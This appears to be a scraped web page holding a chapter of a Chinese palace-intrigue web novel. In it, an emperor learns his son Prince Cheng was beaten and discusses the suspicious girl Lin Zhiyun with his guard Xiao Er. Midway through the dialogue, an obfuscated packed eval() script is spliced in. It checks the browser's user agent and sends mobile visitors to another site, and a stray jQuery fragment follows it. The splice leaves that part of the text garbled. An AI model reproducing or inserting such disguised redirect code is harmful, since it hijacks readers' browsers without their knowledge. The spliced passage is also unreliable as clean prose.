27. 惩治个屁!
作品:《传说老板娘夫君身娇体弱》 “陛下,皇后娘娘求见,已经在暖阁里哭了半个时辰……”
御书房内,今日值勤的小禄子轻手轻脚续上一杯参茶,小心翼翼打量着皇帝的脸色。
“陛下,可要见见?”
皇帝批阅奏章的手微微一顿,威严的视线扫过去,小禄子“噗通”便跪在了地上。
“你是赵通选上来的?”
龙威压迫,小禄子额头抵在地上,瑟瑟发抖。
“回皇上,是的。”
皇帝淡淡扫了一眼地上跪着的人。
他倒不怀疑这小禄子的来历,他身边的人,都是精挑细选过的。
不论身份背景还是家世,都是由锦衣卫层层筛选,再放在赵通手底下考验心性,最终才能来御书房当差。
可是,人心自古最是易变。
皇后张氏,在后宫里向来是真金白银铺路,宫里的太监宫人,有很多便是如此,成了张家的眼线。
可是,皇帝今日如此敲打,便是要告诉底下伺候的所有人:什么样的银子能拿,什么不能!
皇帝半晌没再说话,只低头继续批阅奏折。
御书房里,陷入死一般的寂静。
在这样的凝重氛围里,小禄子身体终于颤抖起来,头颅如铁锤一般,不住砸在地面。
很快,房间里便闻到了一股血腥味。
“陛下,陛下……奴才知错了,奴才真的知错了……”
惊恐的喊声传出了御书房外,飘得老远。
旋即便有人冲进来,将已经头破血流的小禄子拉出去了……
御书房后面的暗门里,忽地出现了一位金甲武士的身影。
他身材格外魁梧,金甲上泛着粼粼的光,站在暗影中朝皇帝抱拳。
“陛下,如何处置?”
“交给赵通,让他看着办吧!”
皇帝摆摆手,有些不耐。
“倒是,皇后那边,又是整什么幺蛾子?”
他放下手中朱笔,拿起身边茶汤,润了润喉咙。
“先前御书房都是想来就来,想走就走,今天这又找人通报,又是装哭卖惨的,皇后究竟又有何事求朕?”
这么多年夫妻,皇后的嘴脸,皇帝早已习惯了。
她平日里仗着张家的身份,在宫里横行无忌;
只有遇到了要求皇帝的事,才会如此虚情假意,令人厌烦。
到了如今这地步,帝后之间的龃龉,已是宫里人尽皆知的“秘密”。
且只要张家与皇权之间的平衡未被打破,这样的情况便会一直继续下去。
金甲武士沉默了半刻,这才咳了一声。
“是呈王……午时在宫外被人给打了。”
皇帝本还在慢悠悠品茶,闻言却是“噗”地,喷到了面前的桌案上。
他手忙脚乱地抢起原本铺在上面的奏折,不由有些生气。
“格老子的!谁干的?敢打朕的儿子?不想活了是不是?”
他并不喜欢呈王这个蛮横跋扈的小儿子。
外甥肖舅,呈王长得和魏国公非常相像。
不止长相,就连性格,都和张家人如出一辙。
一样的蛮横、粗鲁,又跋扈。
在呈王身上,皇帝竟找不出半分自己的影子。
皇帝厌恶张家人,所以恨屋及乌,他也极不喜欢呈王。
但毕竟,呈王是他的儿子。
儿子在外面被打,老子总是颜面无光的。
金甲武士唇角微微勾了勾,仿佛是有些好笑。
“平阳伯夫人。”
说完这几个字,他从阴影里抬起头,有些戏谑地打量着皇帝的表情。
“喔……那没事了。”
皇帝听见平阳伯几个字,下意识地松了口气。
旋即却是反应过来,又是愤怒地一拍大腿。
“不对!小黎子啥时候有夫人了?萧老二,你给朕说清楚!”
原来,那金甲侍卫竟是姓萧,泰元九卫里,排行第二的——萧二。
萧二无奈地从暗影中走了出来,站在御书房的案桌前。
午后的阳光打在他的脸上,显出此人的面容来。
这人看起来四十余岁,肤色黝黑,脸上从左侧太阳穴,到右侧脸颊,有一道深深的刀疤,看起来有些狰狞。
“陛下自己赐的婚,怎地这才几天,就忘了?”
萧二也不隐瞒,将今日午时在瀚海楼里发生的事便讲了出来。
两人一个讲得绘声绘色,一个听得津津有味。
再看皇帝的脸色,却哪里还有先前那怒不可遏的样子?
反而是满脸得意洋洋与有荣焉,俨然是听说儿子出门打架惩恶扬善,老怀甚慰的老父亲。
“你说小黎子靠着嘴皮子,便将林……林知蕴那丫头气得暴跳如雷?”
萧二唇角抽了抽,心说,呈王和小黎子,究竟哪个才是你儿子?
头一次见到亲儿子被打了,还在这里替外人吆喝鼓掌的。
他沉默半刻,面色有些担忧。
“彦棠他这次关心则乱,竟在大庭广众弹出佛珠,我观梅七,仿佛已经有所察觉。我担心他的身份……”
皇帝摆摆手。
“你不是说,当时除了那个梅七,没有其他高手了吗?”
“那个梅七,我知道,是从昪阳那边跑回来的吧?无妨。”
“你找时间去提醒一下小黎子,他的人,你让他自己去敲打。”
皇帝说着,又啜了一口茶。
“话说小黎子这次,是真的栽了。以前可没见他如此紧张过一个女子,便是麟儿也不行。”
萧二听着皇帝酸溜溜的口气,心里不由发笑。
安慧长公主李麟,与太子是一母同胞的亲兄妹,自小文武双全,颇有泰元帝李景的几分真传。
宫中都知道,皇帝喜爱长公主,更甚于太子。
然而却少有人知晓,皇帝当初有多想戳和长公主李麟与黎彦棠在一起。
这两人年龄相仿,兴趣相投,从小又是青梅竹马,当年黎彦棠从静安寺学成归来,皇帝还曾将他派给长公主做贴身侍卫,为的就是能有一天生米煮成熟饭,提前抱上外孙。
可哪知,这无论如何看起来都是天造地设的一对,日日相处,竟处成了一对兄弟。
想想连萧二都要替皇帝心酸。
不过如今已是时移世易,长公主李麟已经亲自选了猛将徐燃的长子为驸马,而最令皇帝担忧的黎彦棠的婚事,也算是有了着落。
虽然女方的出身……
罢了罢了,谁让小黎子喜欢呢。
皇帝无奈地叹了口气。
“听说……那丫头做的饭挺好吃?还做出了什么汉堡?萧二……你吃过吗?”
萧二无语地扶额,他看着皇帝馋得只咽口水的模样,便明白那天赵公公的一番心血总算是白费了。
“陛下不是吃过吗?”
“嗯?朕吃过?什么时候?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714645|188561||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皇帝满脸无辜。
萧二只得叹了口气,提醒道。
“那天赵公公从宫外带来的那一盘……”
皇帝一拍大腿。
“朕那天真是被张家给气糊涂了!”
糊涂到连什么味都没品出来。
想想皇帝便更气了。
他一个皇帝,日常饮食都被御膳房给牢牢限制着,想吃一口宫外的东西容易么?
“皇后找朕,就是要说这事?”
萧二点头。
“说是要求您惩治平阳伯的未婚妻——林知夭。”
“惩治个屁!”
皇帝一拍大腿,怒不可遏。
萧二很怀疑他这愤怒的来源一大半是为了那口吃的。
“你便让人转告她,呈王年少顽劣,让她赶紧送回呈王府,别总放在身边惯着!”
“还有,让她老实点,别去找人家小姑娘的麻烦!”
“嫂嫂教训不懂事的小叔子两下,那不是天经地义的事?”
忽然,皇帝眼珠一转,眸中猛地射出两道精光来。
“萧二,你觉不觉得,那个叫林知蕴的丫头,有些奇怪?”
萧二点头,说道正是,他的神色也恢复了严肃。
“这也正是臣想向陛下奏禀之事……”
他伸手入怀,从怀中取出一块嫩粉色的布料,正是先前秦砚在越来客栈里窗棱上发现的那块。
布料上光华流转,柔软滑腻,一看便非凡品。
皇帝接过布料,摩挲半晌。
“这是……蜀绣?嘶,看这精美程度……是宫缎”
“陛下好眼力!”
萧二称赞了一声,眸中却不见笑意。
“这是今年皇后娘娘宫中赏下的,这样的样式颜色,一共也只有这一匹。”
皇帝身体坐直,放下茶杯。
“赏给了谁?”
“便是这林知蕴。而她……”
萧二面上浮现出几分玩味来。
“她竟将这价值百金,京中无数女子趋之若鹜的昂贵绸缎,赏给了身边,一个叫阿暖的小丫头做春装!”
“喔?”
皇帝面色微怔,仿佛有些匪夷所思。
“你说她赏了谁?”
萧二仿佛是预料到皇帝的疑惑,重新又说道。
“林知蕴将那匹蜀锦宫缎,赏给了伺候的婢女。而那婢女是她亲自选到身边,先前甚至只是林家前院的洒扫小丫头,年仅十二。”
皇帝眯着眼,从座位上站起身,在御书房内缓缓踱步。
“这个林知蕴……今年只有十五吧?”
他记得皇后曾经提过一嘴,有外甥女今年要办及笄礼。
“今年七月初七,才满十五。”
萧二点头。
“小小年纪,便懂得用重金收买人心。重要的是……她还舍得。”
皇帝眸光一黯,面上带着几分深意。
“所以先前张冲的事,背后都是她策划的?”
他脚步微顿,忽然想起来一件事。
“小黎子说过,上次张冲的事,有西域外族牵涉其中?”
“张冲杯抓了,所以她这次,又来撺掇呈儿替她冲锋陷阵,陷害长姐?”
“小丫头所谋甚大呀!”
皇帝忽地呵呵而笑,声音里透着寒意。
他朝萧二招招手,将手中的小块布料重新递还给他。
“你将这个交给皇后,就说……”

